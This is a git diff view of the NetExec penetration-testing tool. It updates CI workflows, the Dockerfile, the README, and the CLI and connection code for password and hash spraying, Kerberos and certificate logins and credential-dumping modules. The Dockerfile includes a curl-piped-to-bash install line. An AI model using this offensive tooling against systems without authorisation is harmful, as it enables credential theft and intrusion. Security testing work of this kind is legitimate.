Disgame b1238fceb7 Merge branch 'Pennyw0rth:main' into timeroast_module 2024-05-22 15:48:03 +02:00
termanix 763cf57c18 Merge branch 'main' into New_Module_Bitlocker 2024-05-18 19:52:21 +03:00
Enrico Belgiovine e7d30329ed fix: ruff check 2024-05-18 01:39:27 +02:00
Enrico Belgiovine 4143073123 fix: moved display Information out of logic 2024-05-18 01:04:40 +02:00
Enrico Belgiovine a636fb45ae feat: new option to retrieve old hashes 2024-05-18 01:01:45 +02:00
Enrico Belgiovine 56795fc713 feat: timeroast.py implemented as netexec module 2024-05-18 00:43:57 +02:00
termanix 610bad1bae Update bitlocker.py
Signed-off-by: termanix <[email protected]>
2024-05-17 14:18:38 -05:00
termanix 0aaad63819 Update bitlocker.py
Fixed smb error line.

Signed-off-by: termanix <[email protected]>
2024-05-17 14:18:38 -05:00
termanix 406507e8de Update bitlocker.py
Updated according to the new powershell update.


Signed-off-by: termanix <[email protected]>
2024-05-17 14:18:38 -05:00
termanix 6c4e8ead5e Update e2e commands 2024-05-17 14:18:38 -05:00
termanix 5ff488eae5 Fixed ruff checks bitlocker.py
Signed-off-by: termanix <[email protected]>
2024-05-17 14:18:38 -05:00
termanixandAdamkadaban c354978fa1 Update bitlocker.py
Fixed a bug, if bitlockervolume and namespace does not exist.

Co-authored-by: Adamkadaban <[email protected]>

Signed-off-by: termanix <[email protected]>
2024-05-17 14:18:38 -05:00
termanixandAdamkadaban 50ed8279e1 Update bitlocker.py
Co-authored-by: Adamkadaban <[email protected]>

Signed-off-by: termanix <[email protected]>
2024-05-17 14:18:38 -05:00
termanix f55cbf6f23 Update bitlocker.py
Using WMI command

Signed-off-by: termanix <[email protected]>
2024-05-17 14:18:38 -05:00
termanix 219deaf073 BitLocker 2024-05-17 14:18:38 -05:00
jubeaz dffd862595 linting 2024-05-17 02:05:57 +02:00
jubeaz 46574d41f6 Merge branch 'Pennyw0rth:main' into module_wcc_add_defender 2024-05-16 21:22:27 +02:00
jubeaz 1c965cb5f1 Merge branch 'main' into module_wcc_add_defender 2024-05-15 03:30:38 +02:00
jubeaz 4815249c78 update Defender checks 2024-05-15 03:19:19 +02:00
jubeaz ae6b659749 Add Defender conf check 2024-05-14 02:31:20 +02:00
Sant0rryu 169a7dc148 Update interface.py
Fixed Ruff checks

Signed-off-by: Sant0rryu <[email protected]>
2024-05-12 16:30:25 +02:00
Sant0rryu 3deabf5787 Adding module to retrieve network interfaces info
Signed-off-by: Sant0rryu <[email protected]>
2024-05-07 17:17:14 +02:00
221 changed files with 18894 additions and 7747 deletions

No files matched your search

+6 -2
View File
@@ -7,6 +7,10 @@ assignees: ''
---
# ❗❗❗ Before filing this bug report, MAKE SURE you have already downloaded the newest version of NetExec from GitHub and installed it! Many issues have already been reported and fixed, _especially_ if you are running the native Kali version! Please delete this line before submitting your issue if you have done so.❗❗❗
**Describe the bug**
A clear and concise description of what the bug is.
@@ -30,8 +34,8 @@ If applicable, add screenshots to help explain your problem.
**NetExec info**
- OS: [e.g. Kali]
- Version of nxc: [e.g. v1.5.2]
- Installed from: apt/github/pip/docker/...? Please try with latest release before openning an issue
- Version of nxc: [e.g. v1.5.2] (run nxc --version and post the _exact_ string that is output)
- Installed from: apt/github/pip/docker/...? Please try with latest release before opening an issue
**Additional context**
Add any other context about the problem here.
@@ -1,44 +1,35 @@
---
name: Pull request
about: Update code to fix a bug or add an enhancement/feature
title: ''
labels: ''
assignees: ''
---
## Description
Please include a summary of the change and which issue is fixed, or what the enhancement does.
Please also include relevant motivation and context.
List any dependencies that are required for this change.
## Type of change
Please delete options that are not relevant.
Insert an "x" inside the brackets for relevant items (do not delete options)
- [ ] Bug fix (non-breaking change which fixes an issue)
- [ ] New feature (non-breaking change which adds functionality)
- [ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)
- [ ] Deprecation of feature or functionality
- [ ] This change requires a documentation update
- [ ] This requires a third party update (such as Impacket, Dploot, lsassy, etc)
## How Has This Been Tested?
Please describe the tests that you ran to verify your changes (e2e, single commands, etc)
Please also list any relevant details for your test configuration, such as your locally running machine Python version & OS, as well as the target(s) you tested against, including software versions
If you are using poetry, you can easily run tests via:
`poetry run python tests/e2e_tests.py -t $TARGET -u $USER -p $PASSWORD`
There are additional options like `--errors` to display ALL errors (some may not be failures), `--poetry` (output will include the poetry run prepended), `--line-num $START-$END $SINGLE` for only running a subset
## Setup guide for the review
Please provide guidance on what setup is needed to test the introduced changes, such as your locally running machine Python version & OS, as well as the target(s) you tested against, including software versions.
In particular:
- Bug Fix: Please provide a short description on how to trigger the bug, to make the bug reproducable for the reviewer.
- Added Feature/Enhancement: Please specify what setup is needed in order to test the changes. E.g. is additional software needed? GPO changes required? Specific registry settings that need to be changed?
## Screenshots (if appropriate):
Screenshots are always nice to have and can give a visual representation of the change.
If appropriate include before and after screenshot(s) to show which results are to be expected.
## Checklist:
Insert an "x" inside the brackets for completed and relevant items (do not delete options)
- [ ] I have ran Ruff against my changes (via poetry: `poetry run python -m ruff check . --preview`, use `--fix` to automatically fix what it can)
- [ ] I have added or updated the tests/e2e_commands.txt file if necessary
- [ ] I have added or updated the `tests/e2e_commands.txt` file if necessary (new modules or features are _required_ to be added to the e2e tests)
- [ ] New and existing e2e tests pass locally with my changes
- [ ] My code follows the style guidelines of this project (should be covered by Ruff above)
- [ ] If reliant on third party dependencies, such as Impacket, dploot, lsassy, etc, I have linked the relevant PRs in those projects
- [ ] If reliant on changes of third party dependencies, such as Impacket, dploot, lsassy, etc, I have linked the relevant PRs in those projects
- [ ] I have performed a self-review of my own code
- [ ] I have commented my code, particularly in hard-to-understand areas
- [ ] I have made corresponding changes to the documentation (PR here: https://github.com/Pennyw0rth/NetExec-Wiki)
+6 -6
View File
@@ -10,28 +10,28 @@ jobs:
strategy:
matrix:
os: [ubuntu-latest, macOS-latest, windows-latest]
python-version: ["3.11"]
python-version: ["3.13"]
#python-version: ["3.8", "3.9", "3.10", "3.11"] # for binary builds we only need one version
steps:
- uses: actions/checkout@v3
- uses: actions/checkout@v4
- name: NetExec set up python on ${{ matrix.os }}
uses: actions/setup-python@v4
uses: actions/setup-python@v5
with:
python-version: ${{ matrix.python-version }}
- name: Build Native Binary
run: |
pip install pyinstaller
pip install pyinstaller pillow
pip install .
pyinstaller netexec.spec
- name: Upload Windows Binary
if: runner.os == 'windows'
uses: actions/upload-artifact@v3
uses: actions/upload-artifact@v4
with:
name: nxc.exe
path: dist/nxc.exe
- name: Upload Nix/OSx Binary
if: runner.os != 'windows'
uses: actions/upload-artifact@v3
uses: actions/upload-artifact@v4
with:
name: nxc-${{ matrix.os }}
path: dist/nxc
+5 -5
View File
@@ -10,11 +10,11 @@ jobs:
strategy:
matrix:
os: [ubuntu-latest, macOS-latest, windows-latest]
python-version: ["3.8", "3.9", "3.10", "3.11"]
python-version: ["3.10", "3.11", "3.12", "3.13"]
steps:
- uses: actions/checkout@v3
- uses: actions/checkout@v4
- name: NetExec set up python on ${{ matrix.os }}
uses: actions/setup-python@v4
uses: actions/setup-python@v5
with:
python-version: ${{ matrix.python-version }}
- name: Build Python ZipApp with Shiv
@@ -22,12 +22,12 @@ jobs:
pip install shiv
python build_collector.py
- name: Upload nxc ZipApp
uses: actions/upload-artifact@v3
uses: actions/upload-artifact@v4
with:
name: nxc-zipapp-${{ matrix.os }}-${{ matrix.python-version }}
path: bin/nxc
- name: Upload nxcdb ZipApp
uses: actions/upload-artifact@v3
uses: actions/upload-artifact@v4
with:
name: nxcdb-zipapp-${{ matrix.os }}-${{ matrix.python-version }}
path: bin/nxcdb
+7 -4
View File
@@ -3,22 +3,25 @@ name: Lint Python code with ruff
on:
push:
workflow_dispatch:
pull_request_review:
types: [submitted]
jobs:
lint:
runs-on: ubuntu-latest
if:
github.event_name == 'push' || github.event.pull_request.head.repo.full_name != github.repository
github.event_name == 'push' || github.event.review.state == 'APPROVED' || github.event_name == 'workflow_dispatch'
steps:
- uses: actions/checkout@v3
- uses: actions/checkout@v4
- name: Install poetry
run: |
pipx install poetry
- name: Set up Python
uses: actions/setup-python@v4
uses: actions/setup-python@v5
with:
python-version: 3.11
python-version: 3.13
cache: poetry
cache-dependency-path: poetry.lock
- name: Install dependencies with dev group
+7 -10
View File
@@ -8,20 +8,22 @@ on:
jobs:
build:
name: Test for Py${{ matrix.python-version }}
if: github.event.review.state == 'APPROVED'
if: github.event.review.state == 'APPROVED' || github.event_name == 'workflow_dispatch'
runs-on: ${{ matrix.os }}
strategy:
max-parallel: 5
matrix:
os: [ubuntu-latest]
python-version: ["3.8", "3.9", "3.10", "3.11", "3.12"]
python-version: ["3.10", "3.11", "3.12", "3.13"]
steps:
- uses: actions/checkout@v3
- uses: actions/checkout@v4
- name: Install poetry
run: |
pipx install poetry
poetry --version
poetry env info
- name: NetExec set up python ${{ matrix.python-version }} on ${{ matrix.os }}
uses: actions/setup-python@v4
uses: actions/setup-python@v5
with:
python-version: ${{ matrix.python-version }}
cache: poetry
@@ -29,11 +31,6 @@ jobs:
- name: Install with pipx
run: |
pipx install . --python python${{ matrix.python-version }}
- name: Install poetry
run: |
pipx install poetry --python python${{ matrix.python-version }}
poetry --version
poetry env info
- name: Install libraries with dev group
run: |
poetry install --with dev
@@ -48,4 +45,4 @@ jobs:
poetry run netexec mssql 127.0.0.1
poetry run netexec ssh 127.0.0.1
poetry run netexec ftp 127.0.0.1
poetry run netexec smb 127.0.0.1 -M veeam
poetry run netexec smb 127.0.0.1 -L
+36 -13
View File
@@ -1,4 +1,32 @@
FROM python:3.11-slim
FROM python:3.13-slim-bookworm AS builder
ENV LANG=C.UTF-8
ENV LC_ALL=C.UTF-8
ENV PIP_NO_CACHE_DIR=off
WORKDIR /usr/src/netexec
RUN apt update && \
apt install -y --no-install-recommends \
libffi-dev \
libxml2-dev \
libxslt-dev \
libssl-dev \
openssl \
autoconf \
g++ \
python3-dev \
curl \
git \
unzip \
&& apt clean && rm -rf /var/lib/apt/lists/*
RUN curl https://sh.rustup.rs -sSf | bash -s -- -y --default-toolchain stable
ENV PATH="/root/.cargo/bin:${PATH}"
RUN git clone https://github.com/Pennyw0rth/NetExec.git . \
&& pip install .
FROM python:3.13-slim-bookworm
ENV LANG=C.UTF-8
ENV LC_ALL=C.UTF-8
@@ -6,17 +34,12 @@ ENV PIP_NO_CACHE_DIR=off
WORKDIR /usr/src/netexec
RUN apt-get update && \
apt-get install -y libffi-dev libxml2-dev libxslt-dev libssl-dev openssl autoconf g++ python3-dev curl git
RUN apt-get update
# Get Rust
RUN curl https://sh.rustup.rs -sSf | bash -s -- -y
# Add .cargo/bin to PATH
ENV PATH="/root/.cargo/bin:${PATH}"
# Check cargo is visible
RUN cargo --help
COPY --from=builder /usr/local/lib/python3.13/site-packages /usr/local/lib/python3.13/site-packages
COPY --from=builder /usr/local/bin /usr/local/bin
COPY . .
RUN pip install .
RUN apt update && \
apt install -y --no-install-recommends \
openssl \
&& apt clean && rm -rf /var/lib/apt/lists/*
ENTRYPOINT [ "nxc" ]
ENTRYPOINT ["nxc"]
+1 -1
View File
@@ -1,4 +1,4 @@
Copyright (c) 2023, Marshall-Hallenbeck, NeffIsBack, zblurx, mpgn_x64
Copyright (c) 2025, Marshall-Hallenbeck, NeffIsBack, zblurx, mpgn_x64
Copyright (c) 2022, byt3bl33d3r
All rights reserved.
+8 -1
View File
@@ -1,4 +1,4 @@
![Supported Python versions](https://img.shields.io/badge/python-3.8+-blue.svg)
![Supported Python versions](https://img.shields.io/badge/python-3.10+-blue.svg)
[![Twitter](https://img.shields.io/twitter/follow/al3xn3ff?label=al3x_n3ff&style=social)](https://twitter.com/intent/follow?screen_name=al3x_n3ff)
[![Twitter](https://img.shields.io/twitter/follow/_zblurx?label=_zblurx&style=social)](https://twitter.com/intent/follow?screen_name=_zblurx)
[![Twitter](https://img.shields.io/twitter/follow/MJHallenbeck?label=MJHallenbeck&style=social)](https://twitter.com/intent/follow?screen_name=MJHallenbeck)
@@ -43,6 +43,11 @@ sudo apt install pipx git
pipx ensurepath
pipx install git+https://github.com/Pennyw0rth/NetExec
```
## Availability on Unix distributions
[![Packaging status](https://repology.org/badge/vertical-allrepos/netexec.svg)](https://repology.org/project/netexec/versions)
# Development
Development guidelines and recommendations in development
@@ -58,3 +63,5 @@ Awesome code contributors of NetExec:
[![](https://github.com/NeffIsBack.png?size=50)](https://github.com/NeffIsBack)
[![](https://github.com/Hackndo.png?size=50)](https://github.com/Hackndo)
[![](https://github.com/XiaoliChan.png?size=50)](https://github.com/XiaoliChan)
[![](https://github.com/termanix.png?size=50)](https://github.com/termanix)
[![](https://github.com/Dfte.png?size=50)](https://github.com/Dfte)
+9 -2
View File
@@ -19,18 +19,22 @@ a = Analysis(
'aardwolf.commons.iosettings',
'aardwolf.commons.target',
'aardwolf.protocol.x224.constants',
'certipy',
'impacket.examples.secretsdump',
'impacket.examples.regsecrets',
'impacket.dcerpc.v5.lsat',
'impacket.dcerpc.v5.transport',
'impacket.dcerpc.v5.lsad',
'impacket.dcerpc.v5.gkdi',
'impacket.dcerpc.v5.rprn',
'impacket.dcerpc.v5.even',
'impacket.dcerpc.v5.even6',
'impacket.dpapi_ng',
'impacket.tds',
'impacket.version',
'impacket.ldap.ldap',
'jwt',
'nxc.connection',
'nxc.servers.smb',
'nxc.protocols.smb.wmiexec',
'nxc.protocols.smb.atexec',
'nxc.protocols.smb.smbexec',
@@ -41,13 +45,15 @@ a = Analysis(
'nxc.parsers.ldap_results',
'nxc.helpers.bash',
'nxc.helpers.bloodhound',
'nxc.helpers.even6_parser',
'nxc.helpers.msada_guids',
'nxc.helpers.ntlm_parser',
'paramiko',
'pefile',
'pypsrp.client',
'pywerview.cli.helpers',
'pylnk3',
'pypykatz',
'pyNfsClient',
'masky',
'msldap',
'msldap.connection',
@@ -69,6 +75,7 @@ a = Analysis(
'dploot.triage.masterkeys',
'dploot.triage.mobaxterm',
'dploot.triage.backupkey',
'dploot.triage.wam',
'dploot.triage.wifi',
'dploot.triage.sccm',
'dploot.lib.target',
+33 -31
View File
@@ -16,35 +16,38 @@ import importlib.metadata
def gen_cli_args():
setup_debug_logging()
try:
VERSION, COMMIT = importlib.metadata.version("netexec").split("+")
DISTANCE, COMMIT = COMMIT.split(".")
except ValueError:
VERSION = importlib.metadata.version("netexec")
COMMIT = ""
CODENAME = "ItsAlwaysDNS"
nxc_logger.debug(f"NXC VERSION: {VERSION} - {CODENAME} - {COMMIT}")
DISTANCE = ""
CODENAME = "Yippie-Ki-Yay"
generic_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
generic_group = generic_parser.add_argument_group("Generic", "Generic options for nxc across protocols")
generic_group = generic_parser.add_argument_group("Generic Options")
generic_group.add_argument("--version", action="store_true", help="Display nxc version")
generic_group.add_argument("-t", "--threads", type=int, dest="threads", default=256, help="set how many concurrent threads to use")
generic_group.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread")
generic_group.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each authentication")
output_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
output_group = output_parser.add_argument_group("Output", "Options to set verbosity levels and control output")
output_group.add_argument("--verbose", action="store_true", help="enable verbose output")
output_group.add_argument("--debug", action="store_true", help="enable debug level information")
output_group = output_parser.add_argument_group("Output Options")
output_group.add_argument("--no-progress", action="store_true", help="do not displaying progress bar during scan")
output_group.add_argument("--log", metavar="LOG", help="export result into a custom file")
log_level = output_group.add_mutually_exclusive_group()
log_level.add_argument("--verbose", action="store_true", help="enable verbose output")
log_level.add_argument("--debug", action="store_true", help="enable debug level information")
dns_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
dns_group = dns_parser.add_argument_group("DNS")
dns_group.add_argument("-6", dest="force_ipv6", action="store_true", help="Enable force IPv6")
dns_group.add_argument("--dns-server", action="store", help="Specify DNS server (default: Use hosts file & System DNS)")
dns_group.add_argument("--dns-tcp", action="store_true", help="Use TCP instead of UDP for DNS queries")
dns_group.add_argument("--dns-timeout", action="store", type=int, default=3, help="DNS query timeout in seconds")
parser = argparse.ArgumentParser(
description=rf"""
. .
@@ -52,13 +55,13 @@ def gen_cli_args():
|| || | \ | | ___ | |_ | ____| __ __ ___ ___
\\( )// | \| | / _ \ | __| | _| \ \/ / / _ \ / __|
.=[ ]=. | |\ | | __/ | |_ | |___ > < | __/ | (__
/ /ॱ-ॱ\ \ |_| \_| \___| \__| |_____| /_/\_\ \___| \___|
ॱ \ / ॱ
ॱ ॱ
/ /˙-˙\ \ |_| \_| \___| \__| |_____| /_/\_\ \___| \___|
˙ \ / ˙
˙ ˙
The network execution tool
Maintained as an open source project by @NeffIsBack, @MJHallenbeck, @_zblurx
For documentation and usage examples, visit: https://www.netexec.wiki/
{highlight('Version', 'red')} : {highlight(VERSION)}
@@ -69,21 +72,19 @@ def gen_cli_args():
parents=[generic_parser, output_parser, dns_parser]
)
parser.add_argument("--version", action="store_true", help="Display nxc version")
# we do module arg parsing here so we can reference the module_list attribute below
module_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
mgroup = module_parser.add_argument_group("Modules", "Options for nxc modules")
mgroup = module_parser.add_argument_group("Modules")
mgroup.add_argument("-M", "--module", choices=get_module_names(), action="append", metavar="MODULE", help="module to use")
mgroup.add_argument("-o", metavar="MODULE_OPTION", nargs="+", default=[], dest="module_options", help="module options")
mgroup.add_argument("-L", "--list-modules", action="store_true", help="list available modules")
mgroup.add_argument("-L", "--list-modules", nargs="?", type=str, const="", help="list available modules")
mgroup.add_argument("--options", dest="show_module_options", action="store_true", help="display module options")
subparsers = parser.add_subparsers(title="Available Protocols", dest="protocol")
std_parser = argparse.ArgumentParser(add_help=False, parents=[generic_parser, output_parser, dns_parser], formatter_class=DisplayDefaultsNotNone)
std_parser.add_argument("target", nargs="+" if not (module_parser.parse_known_args()[0].list_modules or module_parser.parse_known_args()[0].show_module_options) else "*", type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)")
credential_group = std_parser.add_argument_group("Authentication", "Options for authenticating")
std_parser.add_argument("target", nargs="+" if not (module_parser.parse_known_args()[0].list_modules is not None or module_parser.parse_known_args()[0].show_module_options or generic_parser.parse_known_args()[0].version) else "*", type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)")
credential_group = std_parser.add_argument_group("Authentication")
credential_group.add_argument("-u", "--username", metavar="USERNAME", dest="username", nargs="+", default=[], help="username(s) or file(s) containing usernames")
credential_group.add_argument("-p", "--password", metavar="PASSWORD", dest="password", nargs="+", default=[], help="password(s) or file(s) containing passwords")
credential_group.add_argument("-id", metavar="CRED_ID", nargs="+", default=[], type=str, dest="cred_id", help="database credential ID(s) to use for authentication")
@@ -94,17 +95,18 @@ def gen_cli_args():
credential_group.add_argument("--ufail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per username")
credential_group.add_argument("--fail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per host")
kerberos_group = std_parser.add_argument_group("Kerberos", "Options for Kerberos authentication")
kerberos_group = std_parser.add_argument_group("Kerberos Authentication")
kerberos_group.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication")
kerberos_group.add_argument("--use-kcache", action="store_true", help="Use Kerberos authentication from ccache file (KRB5CCNAME)")
kerberos_group.add_argument("--aesKey", metavar="AESKEY", nargs="+", help="AES key to use for Kerberos Authentication (128 or 256 bits)")
kerberos_group.add_argument("--kdcHost", metavar="KDCHOST", help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
server_group = std_parser.add_argument_group("Servers", "Options for nxc servers")
server_group.add_argument("--server", choices={"http", "https"}, default="https", help="use the selected server")
server_group.add_argument("--server-host", type=str, default="0.0.0.0", metavar="HOST", help="IP to bind the server to")
server_group.add_argument("--server-port", metavar="PORT", type=int, help="start the server on the specified port")
server_group.add_argument("--connectback-host", type=str, metavar="CHOST", help="IP for the remote system to connect back to")
certificate_group = std_parser.add_argument_group("Certificate Authentication")
certificate_group.add_argument("--pfx-cert", metavar="PFXCERT", help="Use certificate authentication from pfx file .pfx")
certificate_group.add_argument("--pfx-base64", metavar="PFXB64", help="Use certificate authentication from pfx file encoded in base64")
certificate_group.add_argument("--pfx-pass", metavar="PFXPASS", help="Password of the pfx certificate")
certificate_group.add_argument("--pem-cert", metavar="PEMCERT", help="Use certificate authentication from PEM file")
certificate_group.add_argument("--pem-key", metavar="PEMKEY", help="Private key for the PEM format")
p_loader = ProtocolLoader()
protocols = p_loader.get_protocols()
@@ -116,7 +118,7 @@ def gen_cli_args():
except Exception as e:
nxc_logger.exception(f"Error loading proto_args from proto_args.py file in protocol folder: {protocol} - {e}")
argcomplete.autocomplete(parser)
argcomplete.autocomplete(parser, always_complete_options=False)
args = parser.parse_args()
if len(sys.argv) == 1:
@@ -124,14 +126,14 @@ def gen_cli_args():
sys.exit(1)
if args.version:
print(f"{VERSION} - {CODENAME} - {COMMIT}")
print(f"{VERSION} - {CODENAME} - {COMMIT} - {DISTANCE}")
sys.exit(1)
# Multiply output_tries by 10 to enable more fine granural control, see exec methods
if hasattr(args, "get_output_tries"):
args.get_output_tries = args.get_output_tries * 10
return args
return args, [CODENAME, VERSION, COMMIT, DISTANCE]
def get_module_names():
+10 -7
View File
@@ -1,7 +1,6 @@
import os
from os.path import join as path_join
import configparser
from nxc.paths import NXC_PATH, DATA_PATH
from nxc.paths import DATA_PATH, CONFIG_PATH
from nxc.first_run import first_run_setup
from nxc.logger import nxc_logger
from ast import literal_eval
@@ -10,20 +9,25 @@ nxc_default_config = configparser.ConfigParser()
nxc_default_config.read(path_join(DATA_PATH, "nxc.conf"))
nxc_config = configparser.ConfigParser()
nxc_config.read(os.path.join(NXC_PATH, "nxc.conf"))
nxc_config.read(CONFIG_PATH)
if "nxc" not in nxc_config.sections():
first_run_setup()
nxc_config.read(os.path.join(NXC_PATH, "nxc.conf"))
nxc_config.read(CONFIG_PATH)
# Check if there are any missing options in the config file
for section in nxc_default_config.sections():
if not nxc_config.has_section(section):
nxc_logger.display(f"Adding missing section '{section}' to nxc.conf")
nxc_config.add_section(section)
with open(CONFIG_PATH, "w") as config_file:
nxc_config.write(config_file)
for option in nxc_default_config.options(section):
if not nxc_config.has_option(section, option):
nxc_logger.display(f"Adding missing option '{option}' in config section '{section}' to nxc.conf")
nxc_config.set(section, option, nxc_default_config.get(section, option))
with open(path_join(NXC_PATH, "nxc.conf"), "w") as config_file:
with open(CONFIG_PATH, "w") as config_file:
nxc_config.write(config_file)
# THESE OPTIONS HAVE TO EXIST IN THE DEFAULT CONFIG FILE
@@ -32,9 +36,8 @@ pwned_label = nxc_config.get("nxc", "pwn3d_label", fallback="Pwn3d!")
audit_mode = nxc_config.get("nxc", "audit_mode", fallback=False)
reveal_chars_of_pwd = int(nxc_config.get("nxc", "reveal_chars_of_pwd", fallback=0))
config_log = nxc_config.getboolean("nxc", "log_mode", fallback=False)
ignore_opsec = nxc_config.getboolean("nxc", "ignore_opsec", fallback=False)
host_info_colors = literal_eval(nxc_config.get("nxc", "host_info_colors", fallback=["green", "red", "yellow", "cyan"]))
check_guest_account = nxc_config.getboolean("nxc", "check_guest_account", fallback=False)
if len(host_info_colors) != 4:
nxc_logger.error("Config option host_info_colors must have 4 values! Using default values.")
+58 -31
View File
@@ -1,4 +1,9 @@
from datetime import datetime
import os
import random
import sys
import contextlib
from os.path import isfile
from threading import BoundedSemaphore
from functools import wraps
@@ -12,11 +17,11 @@ from nxc.helpers.logger import highlight
from nxc.loaders.moduleloader import ModuleLoader
from nxc.logger import nxc_logger, NXCAdapter
from nxc.context import Context
from nxc.paths import NXC_PATH
from nxc.protocols.ldap.laps import laps_search
from nxc.helpers.pfx import pfx_auth
from impacket.dcerpc.v5 import transport
import sys
import contextlib
sem = BoundedSemaphore(1)
global_failed_logins = 0
@@ -85,6 +90,8 @@ def get_host_addr_info(target, force_ipv6, dns_server, dns_tcp, dns_timeout):
def requires_admin(func):
def _decorator(self, *args, **kwargs):
if self.admin_privs is False:
if hasattr(self.args, "exec_method") and self.args.exec_method == "mmcexec":
return func(self, *args, **kwargs)
return None
return func(self, *args, **kwargs)
@@ -128,11 +135,17 @@ class connection:
self.db = db
self.logger = nxc_logger
self.conn = None
self.output_file_template = None
self.output_filename = None
# Authentication info
self.password = ""
self.username = ""
self.kerberos = bool(self.args.kerberos or self.args.use_kcache or self.args.aesKey)
self.kerberos = bool(self.args.kerberos or
self.args.use_kcache or
self.args.aesKey or
(hasattr(self.args, "delegate") and self.args.delegate) or
(hasattr(self.args, "no_preauth_targets") and self.args.no_preauth_targets))
self.aesKey = None if not self.args.aesKey else self.args.aesKey[0]
self.use_kcache = None if not self.args.use_kcache else self.args.use_kcache
self.admin_privs = False
@@ -146,6 +159,7 @@ class connection:
self.kdcHost = self.args.kdcHost
self.port = self.args.port
self.local_ip = None
self.dns_server = self.args.dns_server
# DNS resolution
dns_result = self.resolver(target)
@@ -154,16 +168,21 @@ class connection:
else:
return
if self.args.kerberos:
if self.kerberos:
self.host = self.hostname
self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
try:
self.proto_flow()
except FileNotFoundError as e:
self.logger.error(f"File not found error on target {target}: {e}")
except Exception as e:
if "ERROR_DEPENDENT_SERVICES_RUNNING" in str(e):
self.logger.error(f"Exception while calling proto_flow() on target {target}: {e}")
# Catching impacket SMB specific exceptions, which should not be imported due to performance reasons
elif e.__class__.__name__ in ["NetBIOSTimeout", "NetBIOSError"]:
self.logger.error(f"{e.__class__.__name__} on target {target}: {e}")
else:
self.logger.exception(f"Exception while calling proto_flow() on target {target}: {e}")
finally:
@@ -200,13 +219,16 @@ class connection:
def create_conn_obj(self):
return
def disconnect(self):
return
def check_if_admin(self):
return
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
return
def plaintext_login(self, domain, username, password):
def plaintext_login(self, username, password):
return
def hash_login(self, domain, username, ntlm_hash):
@@ -220,7 +242,16 @@ class connection:
else:
self.logger.debug("Created connection object")
self.enum_host_info()
if self.print_host_info() and (self.login() or (self.username == "" and self.password == "")):
# Construct the output file template using os.path.join for OS compatibility
base_log_dir = os.path.join(NXC_PATH, "logs")
filename_pattern = f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
self.output_file_template = os.path.join(base_log_dir, "{output_folder}", filename_pattern)
# Default output filename for logs
self.output_filename = os.path.join(base_log_dir, filename_pattern)
self.print_host_info()
if self.login() or (self.username == "" and self.password == ""):
if hasattr(self.args, "module") and self.args.module:
self.load_modules()
self.logger.debug("Calling modules")
@@ -228,6 +259,7 @@ class connection:
else:
self.logger.debug("Calling command arguments")
self.call_cmd_args()
self.disconnect()
def call_cmd_args(self):
"""Calls all the methods specified by the command line arguments
@@ -262,7 +294,7 @@ class connection:
extra={
"module_name": module.name.upper(),
"host": self.host,
"port": self.args.port,
"port": self.port,
"hostname": self.hostname,
},
)
@@ -271,11 +303,6 @@ class connection:
context = Context(self.db, module_logger, self.args)
context.localip = self.local_ip
if hasattr(module, "on_request") or hasattr(module, "has_response"):
self.logger.debug(f"Module {module.name} has on_request or has_response methods")
self.server.connection = self
self.server.context.localip = self.local_ip
if hasattr(module, "on_login"):
self.logger.debug(f"Module {module.name} has on_login method")
module.on_login(context, self)
@@ -284,13 +311,8 @@ class connection:
self.logger.debug(f"Module {module.name} has on_admin_login method")
module.on_admin_login(context, self)
if (not hasattr(module, "on_request") and not hasattr(module, "has_response")) and hasattr(module, "on_shutdown"):
self.logger.debug(f"Module {module.name} has on_shutdown method")
module.on_shutdown(context, self)
def inc_failed_login(self, username):
global global_failed_logins
global user_failed_logins
global global_failed_logins, user_failed_logins
if username not in user_failed_logins:
user_failed_logins[username] = 0
@@ -300,8 +322,7 @@ class connection:
self.failed_logins += 1
def over_fail_limit(self, username):
global global_failed_logins
global user_failed_logins
global global_failed_logins, user_failed_logins
if global_failed_logins == self.args.gfail_limit:
return True
@@ -309,7 +330,7 @@ class connection:
if self.failed_logins == self.args.fail_limit:
return True
if username in user_failed_logins and self.args.ufail_limit == user_failed_logins[username]:
if username in user_failed_logins and self.args.ufail_limit == user_failed_logins[username]: # noqa: SIM103
return True
return False
@@ -373,10 +394,10 @@ class connection:
if isfile(user):
with open(user) as user_file:
for line in user_file:
if "\\" in line:
if "\\" in line and len(line.split("\\")) == 2:
domain_single, username_single = line.split("\\")
else:
domain_single = self.args.domain if hasattr(self.args, "domain") and self.args.domain else self.domain
domain_single = self.args.domain if hasattr(self.args, "domain") and self.args.domain is not None else self.domain
username_single = line
domain.append(domain_single)
username.append(username_single.strip())
@@ -385,7 +406,7 @@ class connection:
if "\\" in user:
domain_single, username_single = user.split("\\")
else:
domain_single = self.args.domain if hasattr(self.args, "domain") and self.args.domain else self.domain
domain_single = self.args.domain if hasattr(self.args, "domain") and self.args.domain is not None else self.domain
username_single = user
domain.append(domain_single)
username.append(username_single)
@@ -414,14 +435,14 @@ class connection:
with open(ntlm_hash) as ntlm_hash_file:
for i, line in enumerate(ntlm_hash_file):
line = line.strip()
if len(line) != 32 and len(line) != 65:
if len(line) != 32 and len(line) != 65 and len(line) != 0:
self.logger.fail(f"Invalid NTLM hash length on line {(i + 1)} (len {len(line)}): {line}")
continue
else:
secret.append(line)
cred_type.append("hash")
else:
if len(ntlm_hash) != 32 and len(ntlm_hash) != 65:
